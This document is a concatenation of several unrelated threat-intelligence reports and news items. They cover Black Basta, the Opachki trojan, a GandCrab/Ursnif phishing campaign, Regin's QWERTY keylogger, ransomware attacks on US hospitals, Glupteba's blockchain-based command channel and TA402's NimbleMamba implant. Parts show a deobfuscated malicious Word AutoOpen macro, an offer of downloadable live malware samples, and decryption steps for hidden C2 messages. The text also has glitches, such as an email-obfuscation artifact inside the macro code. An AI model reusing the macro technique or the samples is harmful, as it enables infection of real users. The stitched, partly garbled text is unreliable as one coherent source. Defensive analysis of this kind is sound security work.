# Black Basta Ransomware Emerging From Underground to Attack Corporate Networks
Two months have passed since the Black Basta Ransomware first surfaced. Nearly 50 victims have already been reported from the following countries:
- The U.S.
- Canada
- The U.K.
- Australia
- New Zealand
This ransomware is a ransomware-as-a-service, which means that you can contract the malware and use it for a fee.
## Industries Targeted
The Cybereason security experts claimed that Black Basta ransomware is observed to target industries across a wide range, including:
- Manufacturing
- Construction
- Transportation
- Telcos
- Pharmaceuticals
- Cosmetics
- Plumbing
- Heating
- Automobile dealers
- Undergarments manufacturers
The threat actors behind Black Basta ransomware are known for extorting sensitive information from their victims to run their operations. The operators of the ransomware start blackmailing people with threats of publishing stolen information online and then demand a digital payment to free up their data.
## Key Highlights of Black Basta
Ransomware attacks are a rapidly evolving problem worldwide due to advancing technology and the digitalization of society. While the very first ransomware attack occurred back in 1989, Black Basta exploits Qakbot to gain access to devices and move from one device to another, collecting information from them. Here are the key highlights of Black Basta:
- Prominent Threat
- Targets VMware ESXi
- High Severity
- Targeting English-speaking countries
- Targeting a Wide Range of Industries
- Human Operated Attack
- Detected and Prevented
There have been some theories regarding the origins of this ransomware, considering the speed at which it has risen to prominence. In some cases, people have speculated that this ransomware may be related to Conti; however, that has not been confirmed yet.
## Attack Flow
After infecting the target network, the ransomware performs the following actions:
- Reconnaissance
- Collect data
- Credentials
- Move laterally
- Download payloads
- Execute payloads
To gain access to the Domain Controller, the attacker needs to harvest the credentials and understand the network structure, then use PsExec to traverse to the next computer. In the case of a successful breach, the attacker will perform a final procedure aimed at avoiding detection to hide their illicit activities. Moreover, before encrypting files, ransomware typically deletes shadow copies of files and other backups using VSSadmin.exe. At the end of the attack, the ransomware is deployed to the targeted endpoints, completing the final stage of the attack.
## Recommendations
Here are the security recommendations:
- Enable the Anti-Ransomware Feature on AV tools that you have installed.
- Enable Anti-Malware Feature on AV tools that you have installed.
- Update your systems regularly to keep them in good working order.
- Make sure your systems are fully patched.
- Maintain regular backups of your files on a remote server.
- Implement robust security solutions to stay secure. |
# March 2010 Opachki Trojan Update and Sample
I already posted a few links for Opachki trojan in November 2009. Here is an update. Download dropper.exe and dropped rundll32.dll as a password protected archive. Please contact me if you need the password.
## Details:
- **dropper.exe**: 2ded7ee112cea2db509ba95dc09fded6
- **rundll32.dll**: 032e8fced2fbed146c30a47d4989804b
## March 2010 Virustotal Scan Results of the Available Sample
Please note this sample dates to October 2009. Newer versions and samples will have lower detection rates and may get slightly different names.
**File dropper.exe received on 2010.03.07 16:46:50 (UTC)**
Result: 37/42 (88.1%)
| Antivirus | Version | Date | Result |
|--------------------|-----------------|------------|---------------------------------|
| a-squared | 4.5.0.50 | 2010.03.07 | Packed.Win32.Krap!IK |
| AhnLab-V3 | 5.0.0.2 | 2010.03.07 | Win-Trojan/Krap.31232.K |
| AntiVir | 8.2.1.180 | 2010.03.05 | TR/Crypt.ZPACK.Gen |
| Antiy-AVL | 2.0.3.7 | 2010.03.05 | Packed/Win32.Krap.gen |
| Authenticum | 5.2.0.5 | 2010.03.06 | W32/Trojan2.KMYU |
| Avast | 4.8.1351.0 | 2010.03.07 | Win32:MalOb-R |
| Avast5 | 5.0.332.0 | 2010.03.07 | Win32:MalOb-R |
| AVG | 9.0.0.787 | 2010.03.07 | Win32/Cryptor |
| BitDefender | 7.2 | 2010.03.07 | Trojan.Generic.2594388 |
| CAT-QuickHeal | 10.00 | 2010.03.06 | Trojan.Krap.ah |
| Comodo | 4091 | 2010.02.28 | TrojWare.Win32.Trojan.Agent.Gen|
| DrWeb | 5.0.1.12222 | 2010.03.07 | Trojan.Packed.683 |
| eSafe | 7.0.17.0 | 2010.03.04 | Win32.Horse |
| F-Prot | 4.5.1.85 | 2010.03.06 | W32/Trojan2.KMYU |
| F-Secure | 9.0.15370.0 | 2010.03.07 | Packed:W32/Tikmis.gen!A |
| Fortinet | 4.0.14.0 | 2010.03.07 | W32/Krap.AH |
| GData | 19 | 2010.03.07 | Trojan.Generic.2594388 |
| Ikarus | T3.1.1.80.0 | 2010.03.07 | Packed.Win32.Krap |
| Jiangmin | 13.0.900 | 2010.03.07 | Packed.Krap.zvc |
| K7AntiVirus | 7.10.990 | 2010.03.04 | Trojan.Win32.Malware.4 |
| Kaspersky | 7.0.0.125 | 2010.03.07 | Packed.Win32.Krap.ah |
| McAfee | 5912 | 2010.03.06 | Opachki.a |
| McAfee+Artemis | 5912 | 2010.03.06 | Opachki.a |
| McAfee-GW-Edition | 6.8.5 | 2010.03.07 | Trojan.Crypt.ZPACK.Gen |
| Microsoft | 1.5502 | 2010.03.07 | Trojan:Win32/Opachki.A |
| NOD32 | 4922 | 2010.03.07 | Win32/TrojanDropper.Agent.OLQ |
| Norman | 6.04.08 | 2010.03.07 | W32/Crypt.dam |
| nProtect | 2009.1.8.0 | 2010.03.07 | Trojan/W32.Krap.31232.L |
| Panda | 10.0.2.2 | 2010.03.07 | Trj/Zlob.KH |
| PCTools | 7.0.3.5 | 2010.03.04 | Trojan.Generic |
| Prevx | 3.0 | 2010.03.07 | High Risk Cloaked Malware |
| Sophos | 4.51.0 | 2010.03.07 | Mal/FakeAV-BX |
| Sunbelt | 5780 | 2010.03.07 | Trojan.Win32.Generic!VS |
| Symantec | 20091.2.0.41 | 2010.03.07 | Trojan Horse |
| TrendMicro | 9.120.0.1004 | 2010.03.07 | TROJ_OPACHKI.I |
| VBA32 | 3.12.12.2 | 2010.03.05 | BScope.Win32.AntiAV2010 |
| VirusBuster | 5.0.27.0 | 2010.03.06 | Trojan.Opachki.EK |
**Additional Information**
- File size: 31232 bytes
- MD5: 2ded7ee112cea2db509ba95dc09fded6
**File rundll32.dll received on 2010.03.07 16:55:25 (UTC)**
Result: 37/42 (88.1%)
| Antivirus | Version | Date | Result |
|--------------------|-----------------|------------|---------------------------------|
| a-squared | 4.5.0.50 | 2010.03.07 | Packed.Win32.Krap!IK |
| AhnLab-V3 | 5.0.0.2 | 2010.03.07 | Win-Trojan/Krap.23552.V |
| AntiVir | 8.2.1.180 | 2010.03.05 | TR/PCK.Krap.AH.49 |
| Antiy-AVL | 2.0.3.7 | 2010.03.05 | Packed/Win32.Krap.gen |
| Authenticum | 5.2.0.5 | 2010.03.06 | W32/Trojan2.KMWX |
| Avast | 4.8.1351.0 | 2010.03.07 | Win32:Malware-gen |
| Avast5 | 5.0.332.0 | 2010.03.07 | Win32:Malware-gen |
| AVG | 9.0.0.787 | 2010.03.07 | SHeur2.BMZG |
| BitDefender | 7.2 | 2010.03.07 | Trojan.Renos.OVU |
| CAT-QuickHeal | 10.00 | 2010.03.06 | Trojan.Krap.ah |
| Comodo | 4091 | 2010.02.28 | TrojWare.Win32.Krap.ah |
| DrWeb | 5.0.1.12222 | 2010.03.07 | Trojan.Packed.683 |
| eSafe | 7.0.17.0 | 2010.03.04 | Win32.Horse |
| F-Prot | 4.5.1.85 | 2010.03.06 | W32/Trojan2.KMWX |
| F-Secure | 9.0.15370.0 | 2010.03.07 | Trojan.Renos.OVU |
| GData | 19 | 2010.03.07 | Trojan.Renos.OVU |
| Ikarus | T3.1.1.80.0 | 2010.03.07 | Packed.Win32.Krap |
| Jiangmin | 13.0.900 | 2010.03.07 | Packed.Krap.aayt |
| K7AntiVirus | 7.10.990 | 2010.03.04 | Trojan.Win32.Malware.1 |
| Kaspersky | 7.0.0.125 | 2010.03.07 | Packed.Win32.Krap.ah |
| McAfee | 5912 | 2010.03.06 | Opachki.a |
| McAfee+Artemis | 5912 | 2010.03.06 | Opachki.a |
| McAfee-GW-Edition | 6.8.5 | 2010.03.07 | Trojan.PCK.Krap.AH.49 |
| Microsoft | 1.5502 | 2010.03.07 | Trojan:Win32/Opachki.A |
| NOD32 | 4922 | 2010.03.07 | Win32/Opachki.A |
| Norman | 6.04.08 | 2010.03.07 | W32/Smalltroj.UDWN |
| nProtect | 2009.1.8.0 | 2010.03.07 | Trojan/W32.Krap.23552.AZ |
| Panda | 10.0.2.2 | 2010.03.07 | Trj/Zlob.KH |
| PCTools | 7.0.3.5 | 2010.03.04 | RogueAntiSpyware.AntivirusSystemPro |
| Prevx | 3.0 | 2010.03.07 | Medium Risk Malware |
| Sophos | 4.51.0 | 2010.03.07 | Troj/Bredo-N |
| Sunbelt | 5780 | 2010.03.07 | Trojan.Win32.Generic!BT |
| Symantec | 20091.2.0.41 | 2010.03.07 | Trojan Horse |
| TheHacker | 6.5.1.9.223 | 2010.03.07 | Trojan/Krap.ah |
| TrendMicro | 9.120.0.1004 | 2010.03.07 | TROJ_BREDO.D |
| VBA32 | 3.12.12.2 | 2010.03.05 | BScope.Win32.AntiAV2010 |
| VirusBuster | 5.0.27.0 | 2010.03.06 | Trojan.Sisron.BPV |
**Additional Information**
- File size: 23552 bytes
- MD5: 032e8fced2fbed146c30a47d4989804b |
# Carbon Black TAU & ThreatSight Analysis: GandCrab and Ursnif Campaign
**Summary**
(Analysis conducted by Andrew Costis, Cathy Cramer, Emily Miner, and Jared Myers.)
The Carbon Black ThreatSight team observed an interesting campaign over the last month. ThreatSight worked with the Threat Analysis Unit (TAU) to research the campaign. This report is being released to help researchers and security practitioners combat this campaign as new samples are being discovered in the wild daily. This attack, if successful, can infect a compromised system with both Ursnif malware and GandCrab ransomware. The overall attack leverages several different approaches, which are popular techniques amongst red teamers, espionage-focused adversaries, and large-scale criminal campaigns.
This campaign originally came in via phishing emails that contained an attached Word document with embedded macros. Carbon Black located roughly 180 variants in the wild. The macro would call an encoded PowerShell script and then use a series of techniques to download and execute both a Ursnif and GandCrab variant. This campaign has been discussed at a high level by other researchers publicly.
## Technical Findings
### Carrier File
In this campaign, the attackers used a MS Word document (.doc format) to deliver the initial stages. It should be noted that out of the roughly 180 Word variants that were located by Carbon Black, the biggest difference in the documents was the metadata and junk data located in the malicious macros. However, the metadata clearly showed that the documents prepared for this campaign were initially saved on December 17, 2018, and have continued to be updated through January 21, 2019. Several metadata fields (specifically title, subject, author, comments, manager, and company) appear to have been populated with different data sets. For example, the subject in all the samples was a combination of a US state and a common first name (like Utah Erick or Tennessee Dayna). For this post, the following sample was analyzed.
**File Name**: Richard_Johnson.doc
**File Size**: 102,400 bytes
**MD5**: 878e4e8677e68aba918d930f2cc67fbe
**SHA256**: 0a3f915dd071e862046949885043b3ba61100b946cbc0d84ef7c44d77a50f080
The document contained a VBS macro that once decompressed was approximately 650 lines of code. The vast majority of that was junk code. Once the junk code was removed from the VBScript, there are approximately 18 lines of relevant code, which ultimately call a shape box in the current document. The variable names themselves are not relevant; however, the methods in bold below will retrieve the `AlternativeText` field from the specified shape, which is then executed.
```vbscript
Sub AutoOpen()
Set QWxwqfqgHttm = ThisDocument
Set FXpVcBPxzVsJ = QWxwqfqgHttm.Shapes(“4obka2etp1318a”)
faaQXNtRqmxB = FXpVcBPxzVsJ.AlternativeText
npNsCwDavJ = Array(HpTNHpSpmZgp, BlmmaRvZMLP, tRzpZFwJWJcCj, tPJRanNbKWZPrd, [email protected](CleanString(faaQXNtRqmxB), 231 * 2 + -462), RfjXGpzMtcrz, hfbZCRXCJQPJQ)
End Sub
```
The alternate text can easily be observed in the body of the office document. It is clear that the text is a base64 encoded command, that is then executed by the above VBScript.
### Second Stage
The PowerShell script will first create an instance of the .Net Webclient class and then enumerate the available methods using the `GetMethods()` call. The enumerated methods are stored, then a for loop looks first for the method named `DownloadString`. If the `DownloadString` method is located, it will contact the hard-coded C2 requesting a file, which is downloaded and then invoked. It should be noted that because the requested resource is being stored as a string and executed, this all occurs in memory.
The loop then looks for the method name `DownloadData`, and if located will download a resource from a second C2. This request is then stored in the `CommonApplicationData` directory (C:\ProgramData in Vista and later) as the hard-coded file name. The script will utilize the hard-coded DCOM object `C08AFD90-F2A1-11D1-8455-00A0C91F3880`, which is the ClassID for the ShellBrowserWindow.
### Payloads
The payloads that are downloaded in the above steps are then executed on the system.
#### GandCrab Cradle
The first payload that is downloaded via the `DownloadString` method is a PowerShell one-liner that uses an IF statement to evaluate the architecture of the compromised system, and then downloads an additional payload from pastebin.com. This additional payload is then executed in memory.
Once the raw contents of the pastebin.com post were downloaded, that data would also be executed in memory. In the variants that were obtained during this campaign, the file contained a PowerShell script that was approximately 2800 lines. This PowerShell script is a version of the Empire `Invoke-PSInject` module, with very few modifications. The majority of the modifications are of removing comments and renaming variables. The script will take an embedded PE file that has been base64 encoded and inject that into the current PowerShell process.
The base64 encoded PE file is a GandCrab Variant. This variant is Gandcrab version 5.0.4.
**File Name**: krab5
**File Size**: 133,632 bytes
**MD5**: 0f270db9ab9361e20058b8c6129bf30e
**SHA256**: d6c53d9341dda1252ada3861898840be4d669abae2b983ab9bf5259b84de7525
#### Ursnif
The second payload, downloaded via the `DownloadData` method, is a Ursnif executable. In this instance, it is saved to the C:\ProgramData directory with a pseudo-random name. It should be noted that the file name was changed throughout this campaign. Once executed, the Ursnif sample will conduct the typical actions observed in Ursnif samples, like credential harvesting, gathering system and process information, and deploying additional malware samples.
**File Name**: irongreen.exe
**File Size**: 265,728 bytes
**MD5**: 404d25e3a18bda19a238f77270837198
**SHA256**: c064f6f047a4e39014a29c8c95526c3fe90d7bcea5ef0b8f21ea306c27713d1f
### Campaign details
While researching this campaign, approximately 180 variants were located in the wild. Using the VirusTotal Graph functionality, these variants could be organized into several groups that were commonly associated by either metadata or document structures like macros or embedded image files.
The Ursnif variants that were located in the wild are highlighted in the image below. The variants were primarily grouped by C2 infrastructure. The large grouping on the right of the diagram are direct variants of the sample referenced in this write-up. Samples in this grouping were all hosted on sites that were called by the second stage. The samples had minor changes and were presumably changed by the attackers to avoid detection by hash.
### IOCs
The IOCs for this blog post can be found on Carbon Black's GitHub repo. |
# Module 50251 and the “Qwerty” Keylogger
By Costin Raiu, Igor Soumenkov on January 27, 2015
On January 17, 2015, Spiegel.de published an extensive article based on documents obtained from Edward Snowden. They provided a copy of a malicious program codenamed “QWERTY,” supposedly used by several governments in their CNE operations.
We’ve obtained a copy of the malicious files published by Der Spiegel, and when we analyzed them, they immediately reminded us of Regin. Looking at the code closely, we conclude that the “QWERTY” malware is identical in functionality to the Regin 50251 plugin.
## Analysis
The Qwerty module pack consists of three binaries and accompanying configuration files. One file from the package, 20123.sys, is particularly interesting.
The “20123.sys” is a kernel mode part of the keylogger. As it turns out, it was built from source code that can also be found in one Regin module, the “50251” plugin. Using a binary diff, it is easy to spot a significant part of code that is shared between both files. Most of the shared code belongs to the function that accesses the system keyboard driver. Most of the “Qwerty” components call plugins from the same pack (with plugin numbers 20121 – 20123); however, there is also one piece of code that references plugins from the Regin platform. One particular part of code is used in both the “Qwerty” 20123 module and the Regin’s 50251 counterpart, and it addresses the plugin 50225 that can be found in the virtual filesystems of Regin. The Regin’s plugin 50225 is responsible for kernel-mode hooking.
This is solid proof that the Qwerty plugin can only operate as part of the Regin platform, leveraging the kernel hooking functions from plugin 50225.
As an additional proof that both modules use the same software platform, we can take a look at functions exported by ordinal 1 of both modules. They contain the startup code that can be found in any other plugin of Regin and include the actual plugin number that is registered within the platform to allow further addressing of the module. This only makes sense if the modules are used with the Regin platform orchestrator.
The reason why the two modules have different plugin IDs is unknown. This is perhaps because they are leveraged by different actors, each one with its own allocated plugin ID ranges.
## Conclusions
Our analysis of the QWERTY malware published by Der Spiegel indicates it is a plugin designed to work as part of the Regin platform. The QWERTY keylogger doesn’t function as a stand-alone module; it relies on kernel hooking functions provided by the Regin module 50225.
Considering the extreme complexity of the Regin platform and the little chance that it can be duplicated by somebody without having access to its source codes, we conclude the QWERTY malware developers and the Regin developers are the same or working together.
Another important observation is that Regin plugins are stored inside an encrypted and compressed VFS, meaning they don’t exist directly on the victim’s machine in “native” format. The platform dispatcher loads and executes these plugins at startup. The only way to catch the keylogger is by scanning the system memory or decoding the VFSes.
## Appendix (MD5 hashes)
**QWERTY 20123.sys:**
- 0ed11a73694999bc45d18b4189f41ac2
**Regin 50251 plugins:**
- c0de81512a08bdf2ec18cb93b43bdc2d
- e9a43ea2882ac63b7bc036d954c79aa1 |
# Building Wave of Ransomware Attacks Strike U.S. Hospitals
By Christopher Bing, Joseph Menn
WASHINGTON/SAN FRANCISCO (Reuters) - Eastern European criminals are targeting dozens of U.S. hospitals with ransomware, and federal officials on Wednesday urged healthcare facilities to beef up preparations rapidly in case they are next.
The FBI is investigating the recent attacks, which include incidents in Oregon, California, and New York made public just this week, according to three cybersecurity consultants familiar with the matter. A doctor at one hospital told Reuters that the facility was functioning on paper after an attack and unable to transfer patients because the nearest alternative was an hour away. The doctor declined to be named because staff were not authorized to speak with reporters. “We can still watch vitals and getting imaging done, but all results are being communicated via paper only,” the doctor said. Staff could see historic records but not update those files.
Experts said the likely group behind the attacks was known as Wizard Spider or UNC 1878. They warned that such attacks can disrupt hospital operations and lead to loss of life. The attacks prompted a teleconference call on Wednesday led by FBI and Homeland Security officials for hospital administrators and cybersecurity experts. A participant told Reuters that government officials warned hospitals to make sure their backup systems were in order, disconnect systems from the internet where possible, and avoid using personal email accounts. The FBI did not immediately respond to a request for comment.
“This appears to have been a coordinated attack designed to disrupt hospitals specifically all around the country,” said Allan Liska, a threat intelligence analyst with U.S. cybersecurity firm Recorded Future. “While multiple ransomware attacks against healthcare providers each week have been commonplace, this is the first time we have seen six hospitals targeted in the same day by the same ransomware actor.”
In the past, ransomware infections at hospitals have downed patient record-keeping databases, which critically store up-to-date medical information, affecting hospitals’ ability to provide healthcare. Ransomware attacks have jumped 50% over the past three months, security firm Check Point said Wednesday, with the proportion of polled healthcare organizations impacted jumping to 4% in the third quarter from 2.3% in the previous quarter.
Two of the three consultants familiar with the attacks said the cyber criminals were commonly using a type of ransomware known as “Ryuk,” which locks up a victim’s computer until a payment is received. The teleconference call participant said government officials disclosed that the attackers used Ryuk and another trojan, known as Trickbot, against the hospitals.
“UNC1878 is one of the most brazen, heartless, and disruptive threat actors I’ve observed over my career,” said Charles Carmakal, senior vice president for U.S. cyber incident response firm Mandiant. “Multiple hospitals have already been significantly impacted by Ryuk ransomware and their networks have been taken offline.”
Experts say the deployment of Trickbot is significant after efforts by Microsoft to disrupt the hacking network earlier this month. That initiative was designed to handicap the cyber criminals, but they seem to have recovered quickly, said Stefan Tanase, a cyber crime analyst. “What we are seeing here is confirmation that the reports of the Trickbot takedown were greatly exaggerated,” he said. Microsoft did not answer a request for comment. |
# Glupteba – the malware that gets secret messages from the Bitcoin blockchain
By Paul Ducklin
24 Jun 2020
Here’s a SophosLabs technical paper that should tick all your jargon boxes! Our experts have deconstructed a strain of malware called Glupteba that uses just about every cybercrime trick you’ve heard of, and probably several more besides.
Like a lot of malware these days, Glupteba is what’s known as a zombie or bot (short for software robot) that can be controlled from afar by the crooks who wrote it. But it’s more than just a remote control tool for criminals, because Glupteba also includes a range of components that let it serve as all of the following:
- **A rootkit.** Glupteba includes a variety of Windows kernel drivers that can hide the existence of specific files and processes. Kernel rootkits are unusual these days because they’re complex to write and often draw unnecessary attention to themselves. However, if loaded successfully, rootkits can help cybersecurity threats lie low by keeping malware files off the radar of security tools and stopping them from showing up in security logs.
- **A security suppressor.** Glupteba has a module that does its best to turn Windows Defender off, and then regularly checks to make sure it hasn’t turned itself back on. It also looks for a laundry list of other security tools, including anti-virus software and system monitoring programs, killing them off so they can no longer search for and report anomalies.
- **A virus.** Glupteba uses two different variants of the ETERNALBLUE exploit to distribute itself automatically across your own network, and anyone else’s it can find by reaching out from your computer. That makes it an old-school, self-spreading computer virus (or more specifically a worm) rather than just a standalone piece of malware.
- **A router attack tool.** Glupteba bundles in various exploits against popular home and small business routers, using your computer as a jumping off point to attack other people. It uses one of these attacks to open up unpatched routers to act as network proxies that the crooks can use as “jumping off” points for future attacks. This leaves the unfortunate victim looking like an attacker themselves and showing up as an apparent source of cybercriminal activity.
- **A browser stealer.** Glupteba goes after local data files from four different browsers – Chrome, Firefox, Yandex, and Opera – and uploads them to the crooks. Browser files often contain sensitive information such as URL history, authentication cookies, login details, and even passwords that can’t be accessed by code such as JavaScript running inside the browser. So crooks love to attack your browser from outside, where the browser isn’t in control.
- **A cryptojacker.** Along with everything else it does, Glupteba can act as a secretive management tool for two different cryptomining tools. Cryptominers are legal if you use them with the explicit permission of the person paying the electricity bills to run the computers you’re using (and cryptomining can consume a lot of power). Here, the crooks get you to pay their power bills and take the cryptocoins for themselves.
## There’s more – much more
But that’s not all. The most interesting feature that we learned about in the report (and we think you’ll be fascinated too) is how Glupteba uses the Bitcoin blockchain as a communication channel for receiving updated configuration information.
As you probably know, zombies or bots aren’t much use to the crooks if they can’t call home to get their next wave of instructions. Glupteba has a long list of built-in malicious commands that the crooks can trigger, including the self-explanatory `update-data` and `upload-file` commands that are detailed in the report. But it also includes, as with most bots, generic commands to `download` and `run` new malware, meaning that even if you know everything about Glupteba itself, you can’t predict what it might morph into next because the crooks can update the running malware at will.
The current command-and-control servers used by the crooks, known as C2 servers or C&Cs, might get found out and blocked or killed off at any moment, so zombie malware often includes a method for using an otherwise innocent source of data for updates. After all, to tell a bot to switch from one C&C server to another, you typically don’t need to send out much more than a new domain name or IP number, and there are lots of public messaging systems that make it easy to share short snippets of data like that.
For example, bots have used services such as Twitter, Reddit, Pastebin, and other public websites as temporary storage for secret messages, in the same way that spies from the Cold War era might have communicated using the “Personals” section in a print newspaper.
## Bring on the blockchain
Glupteba uses the fact that the Bitcoin transactions are recorded on the Bitcoin blockchain, which is a public record of transactions available from a multitude of sources that are unexceptionably accessible from most networks. Bitcoin “transactions” don’t actually have to be about money – they can include a field called `RETURN`, also known as `OP_RETURN`, that is effectively a comment of up to 80 characters.
Let’s start with a list of all the Bitcoin transaction hashes (lightly redacted) associated with one of the Bitcoin wallets used as a covert source of messages by Glupteba. The wallet ID shown here was extracted from the malware by SophosLabs. The command line program `bx` below is a popular and useful Bitcoin blockchain explorer tool:
```
$ bx fetch-history 15y7......qNHXRtu5wzBpXdY5mT4RZNC6 | awk '$1 == "hash" { print $2 }'
dfef43552fc953ff14ca7b7bb........b79e8409b5638d4f83b1c5cec0abc3d
98987c05277c97b06edfc030c........07e74334c203075ec27b44b3cc458bf
717da8bea87d02ef62b1806cf........7e01f0267718f0351f9ae1592e02703
20b37b655133491b94a8021ab........0266d15331a14caf10570b6623a86e4
fa9cd0622535cf6c9ff449510........c5d526d5794d9d98ba5d6469a97be2c
0d83cbc74a12a9f130fcead23........d5d56cf769c6c0a4cf1cebbf9e97e4a
a7fb3bb04b82922923e8359f8........3db69bd2863ec88b98f9c69a37212ad
52ee10617c1fc3e25922b146a........7daefdc3c3d5421b0387a737e46b396
f29cbbb96de80dbc7e5236c98........3da6f8118bb356f537ce0317f7ab10c
6a3a720ab97511528309fbf64........f37bc25d95d45d3408540174daad786
8bf7acc56aab4b87d73a85b46........1486f0a764fd0a5f13e2d79e0a14625
3bd54c0832cc411f5299064e4........c11ab05c1a4aff62fa323c068e88945
1e1c0249bb22d1fcfb596e4fb........df7ab3bf627e25a2fe9530eb3dce476
51899ffeadf5d0d605d5122c3........5b82baa15a4fa6b203abf59731c158f
8a7c43d0bbf01cdf3bb28de48........6e339a063251fce30cb83ae50c2096a
55e8fe62bcc41ec465c3f1f28........f5d82443a15a30d88fefc3f55ad2f29
```
If we fetch the details of each of these transactions, we can see which ones include `OP_RETURN` data. Here’s a transaction dump for one that does, truncated to save space:
```
$ bx fetch-tx 55e8fe62bcc41ec465c3f1f28........f5d82443a15a30d88fefc3f55ad2f29
{
hash 98987c05277c97b06......1ce207e74334c203075ec27b44b3cc458bf
inputs
{
input
{
[ . . . . . . . . . ]
output
{
script "return
[18fe788a52d7aa57808d801d0f8f7cd39e1a......9f986b877befce0c2f558f0c1a9844833ac702cb3eb
[ . . . . . . . . . ]
value 0
}
}
[ . . . . . . . . . ]
```
The bytes in the `OP_RETURN` data shown above are the secret message. To decrypt it, you need a 256-bit AES decryption key that’s coded into the Glupteba malware program (you can find the keys in the SophosLabs paper), and you need to know that the data returned in the blockchain consists of:
- First 12 bytes = AES-256-GCM initialisation vector
- Last 16 bytes = AES-256-GCM authentication tag
- Bytes in between = Encrypted message
Decrypt the data from the blockcode to reverse the AES-256-GCM encryption, and you’ll reveal the hidden message. This sort of “hiding in plain sight” is often referred to as steganography. Here’s some pseudocode to give you the idea:
```
> cipher = newcipher('AES-256-GCM')
> cipher.key = d8727a0e...d66503cf // extracted by SophosLabs
> cipher.iv = 18fe788a52d7aa57808d801d // GCM mode needs an IV
> cipher.tag = 0c2f558f0c1a9844833ac702cb3eba6e // GCM mode needs a message hash
> plain = cipher:decrypt(0f8f7cd39e1a......9f986b877befce)
> print('secret message is: ',plain)
```
**secret message is: venoco___ol.com** // see report for full IoC list
// this is a new C&C server to move to
And that’s how Glupteba hides its command-and-control server names in plain sight!
## How bad is it?
The bad news about Glupteba is that its many self-protection components mean that it has many tricks available to stop itself showing up in your security logs. The good news is that this complexity makes the malware less reliable, and ironically more prone to triggering security alarms at some point. Indeed, some of the low-level programming tricks it uses, including the kernel-level rootkits, not only don’t work on recent versions of Windows, but also often draw attention to themselves by the way they misbehave, up to and including crashing your computer with a giveaway blue screen of death.
Also, Glupteba relies on numerous exploits that were patched many months or years ago – including the attacks it uses against routers – so a patched system is much less likely to get infected in the first place. Lastly, the main delivery mechanism we’re aware of so far that brings infections of Glupteba into a network (assuming you are patched against ETERNALBLUE and can’t get infected by its viral component), seems to be via “software cracks” on well-known piracy sites.
## What to do?
- **Patch early, patch often.** That includes your operating system, the apps you use, and any devices such as routers and file storage servers on your own network.
- **Use a decent anti-virus with built-in web filtering.** Most malware, including zombie malware, arrives as a series of downloads. Even if you get hit by the first stage of a malware attack, you can still defeat the crooks if you stop the final payload from arriving.
- **Stay away from hookey software.** Assume that the sort of person who’s willing to steal software such as Adobe Illustrator and give away tools to crack it “for free” is also willing to accept money from crooks to implant malware in their fraudulent downloads. |
# Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage
**February 2, 2022**
## Key Takeaways
- TA402, a likely Palestinian-aligned advanced persistent threat actor, has recently engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as NimbleMamba.
- NimbleMamba is likely a replacement for the group’s previously used LastConn implant.
- These campaigns have a complex attack chain that leverages geofencing and URL redirects to legitimate sites in order to bypass detection efforts.
## Overview
In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Over three months, Proofpoint observed three subtle variations of this attack chain. Proofpoint attributes these campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in the interest of the Palestinian Territories. Based on Proofpoint’s research, TA402 is a persistent threat to organizations and governments in the Middle East, routinely updating not only their malware implants but also their delivery methods. After publication of Proofpoint’s TA402 research in June 2021, TA402 appeared to halt its activities for a short period of time, almost certainly to retool. Proofpoint researchers believe they used that time to update their implants and delivery mechanisms, using malware dubbed NimbleMamba and BrittleBush. TA402 also regularly uses geofencing techniques and varied attack chains which complicate detection efforts for defenders.
## Campaign Details
In the recently observed campaigns, TA402 used spear phishing emails containing links that often lead to malicious files. Proofpoint observed three different URL types in those campaigns.
### Variation 1: Actor-Controlled Domain (November 2021)
In a November 2021 campaign, TA402 masqueraded as the Quora website while using an actor-controlled Gmail account with an actor-controlled domain. The malicious URL in the phishing email was geofenced to the targeted countries. If the target's IP address fits into the targeted region, the user would be redirected to the RAR file download containing the latest TA402 implant, NimbleMamba. If outside the target area, the user would be redirected to a legitimate news site.
### Variation 2: Dropbox URL (December 2021)
In December 2021, TA402 used multiple phishing pretenses, including clickbait medical lures and ones allegedly sharing confidential geopolitical information. TA402 continued to use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious RAR files containing NimbleMamba. This shift away from actor-controlled domains meant that TA402 could no longer geofence their payloads. Proofpoint discovered that TA402 is not only abusing Dropbox services for delivery of NimbleMamba but also for malware command and control (C2). Proofpoint has shared our investigation and analysis with Dropbox prior to publication, and they took the needed actions for neutralizing the activity within their organization.
### Variation 3: WordPress Redirect Actor-Controlled Domain (December 2021/January 2022)
In their latest campaigns, TA402 continued to use lure content customized for each of their targets but slightly adjusted their attack chain by inserting an additional actor-controlled WordPress URL. That WordPress site, which impersonates a news aggregator of the legitimate news site from Variation 1, likely redirects to the download site of the malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the targeted region. If the source IP address does not align with the target region, the URL will redirect the recipient to a benign website, typically an Arabic language news website.
The use of geofenced URLs, Dropbox URLs, and then redirect URLs demonstrate TA402’s determination to blend in with legitimate email traffic and infect targets with NimbleMamba.
## Malware Analysis: NimbleMamba
Each variant of TA402’s attack chain led to a RAR file containing one or multiple malicious compressed executables. These executables include a TA402 implant Proofpoint dubbed NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush. NimbleMamba is almost certainly meant to replace LastConn, which Proofpoint reported about in June 2021. While NimbleMamba and LastConn have some similarities, such as being written in C#, base64 encoding within the C2 framework, and use of the Dropbox API for C2 communication, there appears to be little code overlap between the two.
NimbleMamba uses guardrails to ensure that all infected victims are within TA402’s target region. NimbleMamba uses the Dropbox API for both command and control as well as exfiltration. The malware also contains multiple capabilities designed to complicate both automated and manual analysis. Based on this, Proofpoint assesses NimbleMamba is actively being developed, is well-maintained, and designed for use in highly targeted intelligence collection campaigns.
For this malware analysis, Proofpoint researchers analyzed the following two samples:
| Sample | SHA256 | Compile Time | Activity |
|--------|--------|--------------|----------|
| 1 | c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d | 2021-11-07 00:02:28 | Used in an email-based campaign in November 2021 |
| 2 | 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 | 2021-11-20 23:13:29 | Used in email-based campaigns in December 2021 and January 2022 |
